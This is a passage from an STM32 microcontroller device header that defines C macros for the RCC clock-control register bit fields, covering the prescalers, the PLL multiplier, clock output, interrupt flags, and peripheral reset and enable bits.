RCC_CFGR_PPRE1_DIV2 (0x00000400U) /*!< HCLK divided by 2 */ #define RCC_CFGR_PPRE1_DIV4 (0x00000500U) /*!< HCLK divided by 4 */ #define RCC_CFGR_PPRE1_DIV8 (0x00000600U) /*!< HCLK divided by 8 */ #define RCC_CFGR_PPRE1_DIV16 (0x00000700U) /*!< HCLK divided by 16 */ /*!< PPRE2 configuration */ #define RCC_CFGR_PPRE2_Pos (11U) #define RCC_CFGR_PPRE2_Msk (0x7U << RCC_CFGR_PPRE2_Pos) /*!< 0x00003800 */ #define RCC_CFGR_PPRE2 RCC_CFGR_PPRE2_Msk /*!< PRE2[2:0] bits (APB2 prescaler) */ #define RCC_CFGR_PPRE2_0 (0x1U << RCC_CFGR_PPRE2_Pos) /*!< 0x00000800 */ #define RCC_CFGR_PPRE2_1 (0x2U << RCC_CFGR_PPRE2_Pos) /*!< 0x00001000 */ #define RCC_CFGR_PPRE2_2 (0x4U << RCC_CFGR_PPRE2_Pos) /*!< 0x00002000 */ #define RCC_CFGR_PPRE2_DIV1 (0x00000000U) /*!< HCLK not divided */ #define RCC_CFGR_PPRE2_DIV2 (0x00002000U) /*!< HCLK divided by 2 */ #define RCC_CFGR_PPRE2_DIV4 (0x00002800U) /*!< HCLK divided by 4 */ #define RCC_CFGR_PPRE2_DIV8 (0x00003000U) /*!< HCLK divided by 8 */ #define RCC_CFGR_PPRE2_DIV16 (0x00003800U) /*!< HCLK divided by 16 */ #define RCC_CFGR_PLLSRC_Pos (16U) #define RCC_CFGR_PLLSRC_Msk (0x1U << RCC_CFGR_PLLSRC_Pos) /*!< 0x00010000 */ #define RCC_CFGR_PLLSRC RCC_CFGR_PLLSRC_Msk /*!< PLL entry clock source */ #define RCC_CFGR_PLLSRC_HSI_DIV2 (0x00000000U) /*!< HSI clock divided by 2 selected as PLL entry clock source */ #define RCC_CFGR_PLLSRC_HSE_PREDIV (0x00010000U) /*!< HSE/PREDIV clock selected as PLL entry clock source */ #define RCC_CFGR_PLLXTPRE_Pos (17U) #define RCC_CFGR_PLLXTPRE_Msk (0x1U << RCC_CFGR_PLLXTPRE_Pos) /*!< 0x00020000 */ #define RCC_CFGR_PLLXTPRE RCC_CFGR_PLLXTPRE_Msk /*!< HSE divider for PLL entry */ #define RCC_CFGR_PLLXTPRE_HSE_PREDIV_DIV1 (0x00000000U) /*!< HSE/PREDIV clock not divided for PLL entry */ #define RCC_CFGR_PLLXTPRE_HSE_PREDIV_DIV2 (0x00020000U) /*!< HSE/PREDIV clock divided by 2 for PLL entry */ /*!< PLLMUL configuration */ #define RCC_CFGR_PLLMUL_Pos (18U) #define RCC_CFGR_PLLMUL_Msk (0xFU << RCC_CFGR_PLLMUL_Pos) /*!< 0x003C0000 */ #define RCC_CFGR_PLLMUL RCC_CFGR_PLLMUL_Msk /*!< PLLMUL[3:0] bits (PLL multiplication factor) */ #define RCC_CFGR_PLLMUL_0 (0x1U << RCC_CFGR_PLLMUL_Pos) /*!< 0x00040000 */ #define RCC_CFGR_PLLMUL_1 (0x2U << RCC_CFGR_PLLMUL_Pos) /*!< 0x00080000 */ #define RCC_CFGR_PLLMUL_2 (0x4U << RCC_CFGR_PLLMUL_Pos) /*!< 0x00100000 */ #define RCC_CFGR_PLLMUL_3 (0x8U << RCC_CFGR_PLLMUL_Pos) /*!< 0x00200000 */ #define RCC_CFGR_PLLMUL2 (0x00000000U) /*!< PLL input clock*2 */ #define RCC_CFGR_PLLMUL3 (0x00040000U) /*!< PLL input clock*3 */ #define RCC_CFGR_PLLMUL4 (0x00080000U) /*!< PLL input clock*4 */ #define RCC_CFGR_PLLMUL5 (0x000C0000U) /*!< PLL input clock*5 */ #define RCC_CFGR_PLLMUL6 (0x00100000U) /*!< PLL input clock*6 */ #define RCC_CFGR_PLLMUL7 (0x00140000U) /*!< PLL input clock*7 */ #define RCC_CFGR_PLLMUL8 (0x00180000U) /*!< PLL input clock*8 */ #define RCC_CFGR_PLLMUL9 (0x001C0000U) /*!< PLL input clock*9 */ #define RCC_CFGR_PLLMUL10 (0x00200000U) /*!< PLL input clock10 */ #define RCC_CFGR_PLLMUL11 (0x00240000U) /*!< PLL input clock*11 */ #define RCC_CFGR_PLLMUL12 (0x00280000U) /*!< PLL input clock*12 */ #define RCC_CFGR_PLLMUL13 (0x002C0000U) /*!< PLL input clock*13 */ #define RCC_CFGR_PLLMUL14 (0x00300000U) /*!< PLL input clock*14 */ #define RCC_CFGR_PLLMUL15 (0x00340000U) /*!< PLL input clock*15 */ #define RCC_CFGR_PLLMUL16 (0x00380000U) /*!< PLL input clock*16 */ /*!< MCO configuration */ #define RCC_CFGR_MCO_Pos (24U) #define RCC_CFGR_MCO_Msk (0x7U << RCC_CFGR_MCO_Pos) /*!< 0x07000000 */ #define RCC_CFGR_MCO RCC_CFGR_MCO_Msk /*!< MCO[2:0] bits (Microcontroller Clock Output) */ #define RCC_CFGR_MCO_0 (0x1U << RCC_CFGR_MCO_Pos) /*!< 0x01000000 */ #define RCC_CFGR_MCO_1 (0x2U << RCC_CFGR_MCO_Pos) /*!< 0x02000000 */ #define RCC_CFGR_MCO_2 (0x4U << RCC_CFGR_MCO_Pos) /*!< 0x04000000 */ #define RCC_CFGR_MCO_NOCLOCK (0x00000000U) /*!< No clock */ #define RCC_CFGR_MCO_LSI (0x02000000U) /*!< LSI clock selected as MCO source */ #define RCC_CFGR_MCO_LSE (0x03000000U) /*!< LSE clock selected as MCO source */ #define RCC_CFGR_MCO_SYSCLK (0x04000000U) /*!< System clock selected as MCO source */ #define RCC_CFGR_MCO_HSI (0x05000000U) /*!< HSI clock selected as MCO source */ #define RCC_CFGR_MCO_HSE (0x06000000U) /*!< HSE clock selected as MCO source */ #define RCC_CFGR_MCO_PLL (0x07000000U) /*!< PLL clock divided by 2 selected as MCO source */ #define RCC_CFGR_MCOPRE_Pos (28U) #define RCC_CFGR_MCOPRE_Msk (0x7U << RCC_CFGR_MCOPRE_Pos) /*!< 0x70000000 */ #define RCC_CFGR_MCOPRE RCC_CFGR_MCOPRE_Msk /*!< MCOPRE[3:0] bits (Microcontroller Clock Output Prescaler) */ #define RCC_CFGR_MCOPRE_0 (0x1U << RCC_CFGR_MCOPRE_Pos) /*!< 0x10000000 */ #define RCC_CFGR_MCOPRE_1 (0x2U << RCC_CFGR_MCOPRE_Pos) /*!< 0x20000000 */ #define RCC_CFGR_MCOPRE_2 (0x4U << RCC_CFGR_MCOPRE_Pos) /*!< 0x40000000 */ #define RCC_CFGR_MCOPRE_DIV1 (0x00000000U) /*!< MCO is divided by 1 */ #define RCC_CFGR_MCOPRE_DIV2 (0x10000000U) /*!< MCO is divided by 2 */ #define RCC_CFGR_MCOPRE_DIV4 (0x20000000U) /*!< MCO is divided by 4 */ #define RCC_CFGR_MCOPRE_DIV8 (0x30000000U) /*!< MCO is divided by 8 */ #define RCC_CFGR_MCOPRE_DIV16 (0x40000000U) /*!< MCO is divided by 16 */ #define RCC_CFGR_MCOPRE_DIV32 (0x50000000U) /*!< MCO is divided by 32 */ #define RCC_CFGR_MCOPRE_DIV64 (0x60000000U) /*!< MCO is divided by 64 */ #define RCC_CFGR_MCOPRE_DIV128 (0x70000000U) /*!< MCO is divided by 128 */ #define RCC_CFGR_PLLNODIV_Pos (31U) #define RCC_CFGR_PLLNODIV_Msk (0x1U << RCC_CFGR_PLLNODIV_Pos) /*!< 0x80000000 */ #define RCC_CFGR_PLLNODIV RCC_CFGR_PLLNODIV_Msk /*!< Do not divide PLL to MCO */ /* Reference defines */ #define RCC_CFGR_MCOSEL RCC_CFGR_MCO #define RCC_CFGR_MCOSEL_0 RCC_CFGR_MCO_0 #define RCC_CFGR_MCOSEL_1 RCC_CFGR_MCO_1 #define RCC_CFGR_MCOSEL_2 RCC_CFGR_MCO_2 #define RCC_CFGR_MCOSEL_NOCLOCK RCC_CFGR_MCO_NOCLOCK #define RCC_CFGR_MCOSEL_LSI RCC_CFGR_MCO_LSI #define RCC_CFGR_MCOSEL_LSE RCC_CFGR_MCO_LSE #define RCC_CFGR_MCOSEL_SYSCLK RCC_CFGR_MCO_SYSCLK #define RCC_CFGR_MCOSEL_HSI RCC_CFGR_MCO_HSI #define RCC_CFGR_MCOSEL_HSE RCC_CFGR_MCO_HSE #define RCC_CFGR_MCOSEL_PLL_DIV2 RCC_CFGR_MCO_PLL /********************* Bit definition for RCC_CIR register ********************/ #define RCC_CIR_LSIRDYF_Pos (0U) #define RCC_CIR_LSIRDYF_Msk (0x1U << RCC_CIR_LSIRDYF_Pos) /*!< 0x00000001 */ #define RCC_CIR_LSIRDYF RCC_CIR_LSIRDYF_Msk /*!< LSI Ready Interrupt flag */ #define RCC_CIR_LSERDYF_Pos (1U) #define RCC_CIR_LSERDYF_Msk (0x1U << RCC_CIR_LSERDYF_Pos) /*!< 0x00000002 */ #define RCC_CIR_LSERDYF RCC_CIR_LSERDYF_Msk /*!< LSE Ready Interrupt flag */ #define RCC_CIR_HSIRDYF_Pos (2U) #define RCC_CIR_HSIRDYF_Msk (0x1U << RCC_CIR_HSIRDYF_Pos) /*!< 0x00000004 */ #define RCC_CIR_HSIRDYF RCC_CIR_HSIRDYF_Msk /*!< HSI Ready Interrupt flag */ #define RCC_CIR_HSERDYF_Pos (3U) #define RCC_CIR_HSERDYF_Msk (0x1U << RCC_CIR_HSERDYF_Pos) /*!< 0x00000008 */ #define RCC_CIR_HSERDYF RCC_CIR_HSERDYF_Msk /*!< HSE Ready Interrupt flag */ #define RCC_CIR_PLLRDYF_Pos (4U) #define RCC_CIR_PLLRDYF_Msk (0x1U << RCC_CIR_PLLRDYF_Pos) /*!< 0x00000010 */ #define RCC_CIR_PLLRDYF RCC_CIR_PLLRDYF_Msk /*!< PLL Ready Interrupt flag */ #define RCC_CIR_CSSF_Pos (7U) #define RCC_CIR_CSSF_Msk (0x1U << RCC_CIR_CSSF_Pos) /*!< 0x00000080 */ #define RCC_CIR_CSSF RCC_CIR_CSSF_Msk /*!< Clock Security System Interrupt flag */ #define RCC_CIR_LSIRDYIE_Pos (8U) #define RCC_CIR_LSIRDYIE_Msk (0x1U << RCC_CIR_LSIRDYIE_Pos) /*!< 0x00000100 */ #define RCC_CIR_LSIRDYIE RCC_CIR_LSIRDYIE_Msk /*!< LSI Ready Interrupt Enable */ #define RCC_CIR_LSERDYIE_Pos (9U) #define RCC_CIR_LSERDYIE_Msk (0x1U << RCC_CIR_LSERDYIE_Pos) /*!< 0x00000200 */ #define RCC_CIR_LSERDYIE RCC_CIR_LSERDYIE_Msk /*!< LSE Ready Interrupt Enable */ #define RCC_CIR_HSIRDYIE_Pos (10U) #define RCC_CIR_HSIRDYIE_Msk (0x1U << RCC_CIR_HSIRDYIE_Pos) /*!< 0x00000400 */ #define RCC_CIR_HSIRDYIE RCC_CIR_HSIRDYIE_Msk /*!< HSI Ready Interrupt Enable */ #define RCC_CIR_HSERDYIE_Pos (11U) #define RCC_CIR_HSERDYIE_Msk (0x1U << RCC_CIR_HSERDYIE_Pos) /*!< 0x00000800 */ #define RCC_CIR_HSERDYIE RCC_CIR_HSERDYIE_Msk /*!< HSE Ready Interrupt Enable */ #define RCC_CIR_PLLRDYIE_Pos (12U) #define RCC_CIR_PLLRDYIE_Msk (0x1U << RCC_CIR_PLLRDYIE_Pos) /*!< 0x00001000 */ #define RCC_CIR_PLLRDYIE RCC_CIR_PLLRDYIE_Msk /*!< PLL Ready Interrupt Enable */ #define RCC_CIR_LSIRDYC_Pos (16U) #define RCC_CIR_LSIRDYC_Msk (0x1U << RCC_CIR_LSIRDYC_Pos) /*!< 0x00010000 */ #define RCC_CIR_LSIRDYC RCC_CIR_LSIRDYC_Msk /*!< LSI Ready Interrupt Clear */ #define RCC_CIR_LSERDYC_Pos (17U) #define RCC_CIR_LSERDYC_Msk (0x1U << RCC_CIR_LSERDYC_Pos) /*!< 0x00020000 */ #define RCC_CIR_LSERDYC RCC_CIR_LSERDYC_Msk /*!< LSE Ready Interrupt Clear */ #define RCC_CIR_HSIRDYC_Pos (18U) #define RCC_CIR_HSIRDYC_Msk (0x1U << RCC_CIR_HSIRDYC_Pos) /*!< 0x00040000 */ #define RCC_CIR_HSIRDYC RCC_CIR_HSIRDYC_Msk /*!< HSI Ready Interrupt Clear */ #define RCC_CIR_HSERDYC_Pos (19U) #define RCC_CIR_HSERDYC_Msk (0x1U << RCC_CIR_HSERDYC_Pos) /*!< 0x00080000 */ #define RCC_CIR_HSERDYC RCC_CIR_HSERDYC_Msk /*!< HSE Ready Interrupt Clear */ #define RCC_CIR_PLLRDYC_Pos (20U) #define RCC_CIR_PLLRDYC_Msk (0x1U << RCC_CIR_PLLRDYC_Pos) /*!< 0x00100000 */ #define RCC_CIR_PLLRDYC RCC_CIR_PLLRDYC_Msk /*!< PLL Ready Interrupt Clear */ #define RCC_CIR_CSSC_Pos (23U) #define RCC_CIR_CSSC_Msk (0x1U << RCC_CIR_CSSC_Pos) /*!< 0x00800000 */ #define RCC_CIR_CSSC RCC_CIR_CSSC_Msk /*!< Clock Security System Interrupt Clear */ /****************** Bit definition for RCC_APB2RSTR register *****************/ #define RCC_APB2RSTR_SYSCFGRST_Pos (0U) #define RCC_APB2RSTR_SYSCFGRST_Msk (0x1U << RCC_APB2RSTR_SYSCFGRST_Pos) /*!< 0x00000001 */ #define RCC_APB2RSTR_SYSCFGRST RCC_APB2RSTR_SYSCFGRST_Msk /*!< SYSCFG reset */ #define RCC_APB2RSTR_TIM1RST_Pos (11U) #define RCC_APB2RSTR_TIM1RST_Msk (0x1U << RCC_APB2RSTR_TIM1RST_Pos) /*!< 0x00000800 */ #define RCC_APB2RSTR_TIM1RST RCC_APB2RSTR_TIM1RST_Msk /*!< TIM1 reset */ #define RCC_APB2RSTR_SPI1RST_Pos (12U) #define RCC_APB2RSTR_SPI1RST_Msk (0x1U << RCC_APB2RSTR_SPI1RST_Pos) /*!< 0x00001000 */ #define RCC_APB2RSTR_SPI1RST RCC_APB2RSTR_SPI1RST_Msk /*!< SPI1 reset */ #define RCC_APB2RSTR_USART1RST_Pos (14U) #define RCC_APB2RSTR_USART1RST_Msk (0x1U << RCC_APB2RSTR_USART1RST_Pos) /*!< 0x00004000 */ #define RCC_APB2RSTR_USART1RST RCC_APB2RSTR_USART1RST_Msk /*!< USART1 reset */ #define RCC_APB2RSTR_TIM15RST_Pos (16U) #define RCC_APB2RSTR_TIM15RST_Msk (0x1U << RCC_APB2RSTR_TIM15RST_Pos) /*!< 0x00010000 */ #define RCC_APB2RSTR_TIM15RST RCC_APB2RSTR_TIM15RST_Msk /*!< TIM15 reset */ #define RCC_APB2RSTR_TIM16RST_Pos (17U) #define RCC_APB2RSTR_TIM16RST_Msk (0x1U << RCC_APB2RSTR_TIM16RST_Pos) /*!< 0x00020000 */ #define RCC_APB2RSTR_TIM16RST RCC_APB2RSTR_TIM16RST_Msk /*!< TIM16 reset */ #define RCC_APB2RSTR_TIM17RST_Pos (18U) #define RCC_APB2RSTR_TIM17RST_Msk (0x1U << RCC_APB2RSTR_TIM17RST_Pos) /*!< 0x00040000 */ #define RCC_APB2RSTR_TIM17RST RCC_APB2RSTR_TIM17RST_Msk /*!< TIM17 reset */ /****************** Bit definition for RCC_APB1RSTR register ******************/ #define RCC_APB1RSTR_TIM2RST_Pos (0U) #define RCC_APB1RSTR_TIM2RST_Msk (0x1U << RCC_APB1RSTR_TIM2RST_Pos) /*!< 0x00000001 */ #define RCC_APB1RSTR_TIM2RST RCC_APB1RSTR_TIM2RST_Msk /*!< Timer 2 reset */ #define RCC_APB1RSTR_TIM3RST_Pos (1U) #define RCC_APB1RSTR_TIM3RST_Msk (0x1U << RCC_APB1RSTR_TIM3RST_Pos) /*!< 0x00000002 */ #define RCC_APB1RSTR_TIM3RST RCC_APB1RSTR_TIM3RST_Msk /*!< Timer 3 reset */ #define RCC_APB1RSTR_TIM6RST_Pos (4U) #define RCC_APB1RSTR_TIM6RST_Msk (0x1U << RCC_APB1RSTR_TIM6RST_Pos) /*!< 0x00000010 */ #define RCC_APB1RSTR_TIM6RST RCC_APB1RSTR_TIM6RST_Msk /*!< Timer 6 reset */ #define RCC_APB1RSTR_TIM7RST_Pos (5U) #define RCC_APB1RSTR_TIM7RST_Msk (0x1U << RCC_APB1RSTR_TIM7RST_Pos) /*!< 0x00000020 */ #define RCC_APB1RSTR_TIM7RST RCC_APB1RSTR_TIM7RST_Msk /*!< Timer 7 reset */ #define RCC_APB1RSTR_WWDGRST_Pos (11U) #define RCC_APB1RSTR_WWDGRST_Msk (0x1U << RCC_APB1RSTR_WWDGRST_Pos) /*!< 0x00000800 */ #define RCC_APB1RSTR_WWDGRST RCC_APB1RSTR_WWDGRST_Msk /*!< Window Watchdog reset */ #define RCC_APB1RSTR_USART2RST_Pos (17U) #define RCC_APB1RSTR_USART2RST_Msk (0x1U << RCC_APB1RSTR_USART2RST_Pos) /*!< 0x00020000 */ #define RCC_APB1RSTR_USART2RST RCC_APB1RSTR_USART2RST_Msk /*!< USART 2 reset */ #define RCC_APB1RSTR_USART3RST_Pos (18U) #define RCC_APB1RSTR_USART3RST_Msk (0x1U << RCC_APB1RSTR_USART3RST_Pos) /*!< 0x00040000 */ #define RCC_APB1RSTR_USART3RST RCC_APB1RSTR_USART3RST_Msk /*!< USART 3 reset */ #define RCC_APB1RSTR_I2C1RST_Pos (21U) #define RCC_APB1RSTR_I2C1RST_Msk (0x1U << RCC_APB1RSTR_I2C1RST_Pos) /*!< 0x00200000 */ #define RCC_APB1RSTR_I2C1RST RCC_APB1RSTR_I2C1RST_Msk /*!< I2C 1 reset */ #define RCC_APB1RSTR_CANRST_Pos (25U) #define RCC_APB1RSTR_CANRST_Msk (0x1U << RCC_APB1RSTR_CANRST_Pos) /*!< 0x02000000 */ #define RCC_APB1RSTR_CANRST RCC_APB1RSTR_CANRST_Msk /*!< CAN reset */ #define RCC_APB1RSTR_DAC2RST_Pos (26U) #define RCC_APB1RSTR_DAC2RST_Msk (0x1U << RCC_APB1RSTR_DAC2RST_Pos) /*!< 0x04000000 */ #define RCC_APB1RSTR_DAC2RST RCC_APB1RSTR_DAC2RST_Msk /*!< DAC 2 reset */ #define RCC_APB1RSTR_PWRRST_Pos (28U) #define RCC_APB1RSTR_PWRRST_Msk (0x1U << RCC_APB1RSTR_PWRRST_Pos) /*!< 0x10000000 */ #define RCC_APB1RSTR_PWRRST RCC_APB1RSTR_PWRRST_Msk /*!< PWR reset */ #define RCC_APB1RSTR_DAC1RST_Pos (29U) #define RCC_APB1RSTR_DAC1RST_Msk (0x1U << RCC_APB1RSTR_DAC1RST_Pos) /*!< 0x20000000 */ #define RCC_APB1RSTR_DAC1RST RCC_APB1RSTR_DAC1RST_Msk /*!< DAC 1 reset */ /****************** Bit definition for RCC_AHBENR register ******************/ #define RCC_AHBENR_DMA1EN_Pos (0U) #define RCC_AHBENR_DMA1EN_Msk (0x1U << RCC_AHBENR_DMA1EN_Pos) /*!< 0x00000001 */ #define RCC_AHBENR_DMA1EN RCC_AHBENR_DMA1EN_Msk /*!< DMA1 clock enable */ #define RCC_AHBENR_SRAMEN_Pos (2U) #define RCC_AHBENR_SRAMEN_Msk (0x1U << RCC_AHBENR_SRAMEN_Pos) /*!< 0x00000004 */ #define RCC_AHBENR_SRAMEN RCC_AHBENR_SRAMEN_Msk /*!< SRAM interface clock enable */ #define RCC_AHBENR_FLITFEN_Pos (4U) #define RCC_AHBENR_FLITFEN_Msk (0x1U << RCC_AHBENR_FLITFEN_Pos) /*!< 0x00000010 */ #define RCC_AHBENR_FLITFEN RCC_AHBENR_FLITFEN_Msk /*!< FLITF clock enable */ #define RCC_AHBENR_CRCEN_Pos (6U) #define RCC_AHBENR_CRCEN_Msk (0x1U << RCC_AHBENR_CRCEN_Pos) /*!< 0x00000040 */ #define RCC_AHBENR_CRCEN RCC_AHBENR_CRCEN_Msk /*!< CRC clock enable */ #define RCC_AHBENR_GPIOAEN_Pos (17U) #define RCC_AHBENR_GPIOAEN_Msk (0x1U << RCC_AHBENR_GPIOAEN_Pos) /*!< 0x00020000 */ #define RCC_AHBENR_GPIOAEN RCC_AHBENR_GPIOAEN_Msk /*!< GPIOA clock enable */ #define RCC_AHBENR_GPIOBEN_Pos (18U) #define RCC_AHBENR_GPIOBEN_Msk (0x1U << RCC_AHBENR_GPIOBEN_Pos) /*!< 0x00040000 */ #define RCC_AHBENR_GPIOBEN RCC_AHBENR_GPIOBEN_Msk /*!< GPIOB clock enable */ #define RCC_AHBENR_GPIOCEN_Pos (19U) #define RCC_AHBENR_GPIOCEN_Msk (0x1U << RCC_AHBENR_GPIOCEN_Pos) /*!< 0x00080000 */ #define RCC_AHBENR_GPIOCEN RCC_AHBENR_GPIOCEN_Msk /*!< GPIOC clock enable */ #define RCC_AHBENR_GPIODEN_Pos (20U) #define RCC_AHBENR_GPIODEN_Msk (0x1U << RCC_AHBENR_GPIODEN_Pos) /*!< 0x00100000 */ #define RCC_AHBENR_GPIODEN RCC_AHBENR_GPIODEN_Msk /*!< GPIOD clock enable */ #define RCC_AHBENR_GPIOFEN_Pos (22U) #define RCC_AHBENR_GPIOFEN_Msk (0x1U << RCC_AHBENR_GPIOFEN_Pos) /*!< 0x00400000 */ #define RCC_AHBENR_GPIOFEN RCC_AHBENR_GPIOFEN_Msk /*!< GPIOF clock enable */ #define RCC_AHBENR_TSCEN_Pos (24U) #define RCC_AHBENR_TSCEN_Msk (0x1U << RCC_AHBENR_TSCEN_Pos) /*!< 0x01000000 */ #define RCC_AHBENR_TSCEN RCC_AHBENR_TSCEN_Msk /*!< TS clock enable */ #define RCC_AHBENR_ADC12EN_Pos (28U) #define RCC_AHBENR_ADC12EN_Msk (0x1U << RCC_AHBENR_ADC12EN_Pos) /*!< 0x10000000 */ #define RCC_AHBENR_ADC12EN RCC_AHBENR_ADC12EN_Msk /*!< ADC1/ ADC2 clock enable */ /***************** Bit definition for RCC_APB2ENR register ******************/ #define RCC_APB2ENR_SYSCFGEN_Pos (0U) #define RCC_APB2ENR_SYSCFGEN_Msk (0x1U << RCC_APB2ENR_SYSCFGEN_Pos) /*!< 0x00000001 */ #define RCC_APB2ENR_SYSCFGEN RCC_APB2ENR_SYSCFGEN_Msk /*!< SYSCFG clock enable */ #define RCC_APB2ENR_TIM1EN_Pos (11U) #define RCC_APB2ENR_TIM1EN_Msk (0x1U << RCC_APB2ENR_TIM1EN_Pos) /*!< 0x00000800 */ #define RCC_APB2ENR_TIM1EN RCC_APB2ENR_TIM1EN_Msk /*!< TIM1 clock enable */ #define RCC_APB2ENR_SPI1EN_Pos (12U) #define RCC_APB2ENR_SPI1EN_Msk (0x1U << RCC_APB2ENR_SPI1EN_Pos) /*!< 0x00001000 */ #define RCC_APB2ENR_SPI1EN RCC_APB2ENR_SPI1EN_Msk /*!< SPI1 clock enable */ #define RCC_APB2ENR_USART1EN_Pos (14U) #define RCC_APB2ENR_USART1EN_Msk (0x1U << RCC_APB2ENR_USART1EN_Pos) /*!< 0x00004000 */ #define RCC_APB2ENR_USART1EN RCC_APB2ENR_USART1EN_Msk /*!< USART1 clock enable */ #define RCC_APB2ENR_TIM15EN_Pos (16U) #define RCC_APB2ENR_TIM15EN_Msk (0x1U << RCC_APB2ENR_TIM15EN_Pos) /*!< 0x00010000 */ #define RCC_APB2ENR_TIM15EN RCC_APB2ENR_TIM15EN_Msk /*!< TIM15 clock enable */ #define RCC_APB2ENR_TIM16EN_Pos (17U) #define RCC_APB2ENR_TIM16EN_Msk (0x1U << RCC_APB2ENR_TIM16EN_Pos) /*!< 0x00020000 */ #define RCC_APB2ENR_TIM16EN RCC_APB2ENR_TIM16EN_Msk /*!< TIM16 clock enable */ #define RCC_APB2ENR_TIM17EN_Pos (18U) #define RCC_APB2ENR_TIM17EN_Msk (0x1U << RCC_APB2ENR_TIM17EN_Pos) /*!< 0x00040000 */ #define RCC_APB2ENR_TIM17EN RCC_APB2ENR_TIM17EN_Msk /*!< TIM17 clock enable */ /****************** Bit definition for RCC_APB1ENR register ******************/ #define RCC_APB1ENR_TIM2EN_Pos (0U) #define RCC_APB1ENR_TIM2EN_Msk (0x1U << RCC_APB1ENR_TIM2EN_Pos) /*!< 0x00000001 */ #define RCC_APB1ENR_TIM2EN RCC_APB1ENR_TIM2EN_Msk /*!< Timer 2 clock enable */ #define RCC_APB1ENR_TIM3EN_Pos (1U) #define RCC_APB1ENR_TIM3EN_Msk (0x1U << RCC_APB1ENR_TIM3EN_Pos) /*!< 0x00000002 */ #define RCC_APB1ENR_TIM3EN RCC_APB1ENR_TIM3EN_Msk /*!< Timer 3 clock enable */ #define RCC_APB1ENR_TIM6EN_Pos (4U) #define RCC_APB1ENR_TIM6EN_Msk (0x1U << RCC_APB1ENR_TIM6EN_Pos) /*!< 0x00000010 */ #define RCC_APB1ENR_TIM6EN RCC_APB1ENR_TIM6EN_Msk /*!< Timer 6 clock enable */ #define RCC_APB1ENR_TIM7EN_Pos (5U) #define RCC_APB1ENR_TIM7EN_Msk (0x1U << RCC_APB1ENR_TIM7EN_Pos) /*!< 0x00000020 */ #define RCC_APB1ENR_TIM7EN RCC_APB1ENR_TIM7EN_Msk /*!< Timer 7 clock enable */ #define RCC_APB1ENR_WWDGEN_Pos (11U) #define RCC_APB1ENR_WWDGEN_Msk (0x1U << RCC_APB1ENR_WWDGEN_Pos) /*!< 0x00000800 */ #define RCC_APB1ENR_WWDGEN RCC_APB1ENR_WWDGEN_Msk /*!< Window Watchdog clock enable */ #define RCC_APB1ENR_USART2EN_Pos (17U) #define RCC_APB1ENR_USART2EN_Msk (0x1U << RCC_APB1ENR_USART2EN_Pos) /*!< 0x00020000 */ #define RCC_APB1ENR_USART2EN RCC_APB1ENR_USART2EN_Msk /*!< USART 2 clock enable */ #define RCC_APB1ENR_USART3EN_Pos (18U) #define RCC_APB1ENR_USART3EN_Msk (0x1U << RCC_APB1ENR_USART3EN_Pos) /*!< 0x00040000 */ #define RCC_APB1ENR_USART3EN RCC_APB1ENR_USART3EN_Msk /*!< USART 3 clock enable */ #define RCC_APB1ENR_I2C1EN_Pos (21U) #define RCC_APB1ENR_I2C1EN_Msk (0x1U << RCC_APB1ENR_I2C1EN_Pos) /*!< 0x00200000 */ #define RCC_APB1ENR_I2C1EN RCC_APB1ENR_I2C1EN_Msk /*!< I2C 1 clock enable */ #define RCC_APB1ENR_CANEN_Pos (25U) #define RCC_APB1ENR_CANEN_Msk (0x1U << RCC_APB1ENR_CANEN_Pos) /*!< 0x02000000 */ #define RCC_APB1ENR_CANEN RCC_APB1ENR_CANEN_Msk /*!< CAN clock enable */ #define RCC_APB1ENR_DAC2EN_Pos (26U) #define RCC_APB1ENR_DAC2EN_Msk (0x1U << RCC_APB1ENR_DAC2EN_Pos) /*!< 0x04000000 */ #define RCC_APB1ENR_DAC2EN RCC_APB1ENR_DAC2EN_Msk /*!< DAC 2 clock enable */ #define RCC_APB1ENR_PWREN_Pos (28U) #define RCC_APB1ENR_PWREN_Msk (0x1U << RCC_APB1ENR_PWREN_Pos) /*!< 0x10000000 */ #define RCC_APB1ENR_PWREN RCC_APB1ENR_PWREN_Msk /*!< PWR clock enable */ #define RCC_APB1ENR_DAC1EN_Pos (29U) #define RCC_APB1ENR_DAC1EN_Msk (0x1U << RCC_APB1ENR_DAC1EN_Pos) /*!< 0x20000000 */ #define RCC_APB1ENR_DAC1EN RCC_APB1ENR_DAC1EN_Msk /*!< DAC 1 clock enable */ /******************** Bit definition for RCC_BDCR register ******************/ #define RCC_BDCR_LSE_Pos (0U) #define RCC_BDCR_LSE_Msk (0x7U << RCC_BDCR_LSE_Pos) /*!< 0x00000007 */ #define RCC_BDCR_LSE RCC_BDCR_LSE_Msk /*!< External Low Speed oscillator [2:0] bits */ #define RCC_BDCR_LSEON_Pos (0U) #define RCC_BDCR_LSEON_Msk (0x1U << RCC_BDCR_LSEON_Pos) /*!< 0x00000001 */ #define RCC_BDCR_LSEON RCC_BDCR_LSEON_Msk /*!< External Low Speed oscillator enable */ #define RCC_BDCR_LSERDY_Pos (1U) #define RCC_BDCR_LSERDY_Msk (0x1U << RCC_BDCR_LSERDY_Pos) /*!< 0x00000002 */ #define RCC_BDCR_LSERDY RCC_BDCR_LSERDY_Msk /*!< External Low Speed oscillator Ready */ #define RCC_BDCR_LSEBYP_Pos (2U) #define RCC_BDCR_LSEBYP_Msk (0x1U << RCC_BDCR_LSEBYP_Pos) /*!< 0x00000004 */ #define RCC_BDCR_LSEBYP RCC_BDCR_LSEBYP_Msk /*!< External Low Speed oscillator Bypass */ #define RCC_BDCR_LSEDRV_Pos (3U) #define RCC_BDCR_LSEDRV_Msk (0x3U << RCC_BDCR_LSEDRV_Pos) /*!< 0x00000018 */ #define RCC_BDCR_LSEDRV RCC_BDCR_LSEDRV_Msk /*!< LSEDRV[1:0] bits (LSE Osc. drive capability) */ #define RCC_BDCR_LSEDRV_0 (0x1U << RCC_BDCR_LSEDRV_Pos) /*!< 0x00000008 */ #define RCC_BDCR_LSEDRV_1 (0x2U << RCC_BDCR_LSEDRV_Pos) /*!< 0x00000010 */ #define RCC_BDCR_RTCSEL_Pos (8U) #define RCC_BDCR_RTCSEL_Msk (0x3U << RCC_BDCR_RTCSEL_Pos) /*!< 0x00000300 */ #define RCC_BDCR_RTCSEL RCC_BDCR_RTCSEL_Msk /*!< RTCSEL[1:0] bits (RTC clock source selection) */ #define RCC_BDCR_RTCSEL_0 (0x1U << RCC_BDCR_RTCSEL_Pos) /*!< 0x00000100 */ #define RCC_BDCR_RTCSEL_1 (0x2U << RCC_BDCR_RTCSEL_Pos) /*!< 0x00000200 */ /*!< RTC configuration */ #define RCC_BDCR_RTCSEL_NOCLOCK 